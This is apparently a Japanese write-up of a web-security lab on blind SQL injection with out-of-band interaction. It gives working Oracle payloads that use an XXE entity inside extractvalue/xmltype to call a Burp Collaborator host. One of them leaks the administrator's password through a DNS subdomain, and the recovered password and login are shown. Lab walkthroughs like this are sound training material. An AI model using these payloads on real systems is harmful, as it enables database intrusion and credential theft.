Hello there, ('ω')ノ
帯域外の相互作用を伴うブラインドSQLインジェクションを。
このラボには、 ブラインドSQLインジェクションに脆弱性があって。
TrackingId Cookieを使用し、送信されたCookieの値を含むSQLクエリを実行して。
SQLクエリは非同期で実行されて、アプリケーションの応答には影響しないので。
外部ドメインとの帯域外相互作用をトリガすることで。
SQLインジェクションの脆弱性を悪用できて。
まず、TrackingId Cookieを使用して使用状況に関する分析の収集について考えると。
アプリケーションへのリクエストには、下記のようなCookieヘッダが含まれて。
Cookie: TrackingId=zwFw4yODnFC3DFLI
次にアプリケーションは、下記のようなSQLクエリを使用して。
これが既知のユーザであるかどうかを判断して。
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'zwFw4yODnFC3DFLI'
既知のユーザだったら、「おかえりなさい」というメッセージが表示されたりと。
ブラインドSQLインジェクションの脆弱性を悪用すると。
下記のTrackingIdを送信することで真の値が得られるわけで。
x' AND '1'='1
という仕組みでして。
先にペイロードをデコードして内容を確認しておいて。
x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
extractvalueは、xmltypeのインスタンスとXPathでマッチするものを探して。
x'+UNION+SELECT+extractvalue(xmltype(
'<?xml+version="1.0"+encoding="UTF-8"?>
<!DOCTYPE+root+
[+<!ENTITY %+remote+SYSTEM+"http://x.burpcollaborator.net/"> %remote;]>'),'/l'
)+FROM+dual--
さっそくページにアクセスして。
リクエストをリピータへ。
コラボレータでペイロードをコピーしておいて。
下記のペイロードに置き換えてSendすると。
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.mtj1ta53b35yx04am7tckjb4ivomcb.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
クリアできた。
ペイロードの結果として。
アプリケーションによって開始されたDNSとHTTPの相互作用が表示されて。
ちなみ下記のペイロードに変更してSendすると。
x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.guevu46xcx6syu54n1u6ldcyjppjd8.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
administratorのパスワードがサブドメインに表示されて。
DNSインタラクションの場合は。
検索された完全なドメイン名がDescriptionタブに表示されて。
パスワードは以下のとおりで。
nz048nf3i0cvomhncy9k
また、HTTPインタラクションの場合は。
完全なドメイン名はリクエストタブのHostヘッダに表示されて。
さっそくログインしてみると。
ログインできた。
Best regards, (^^ゞ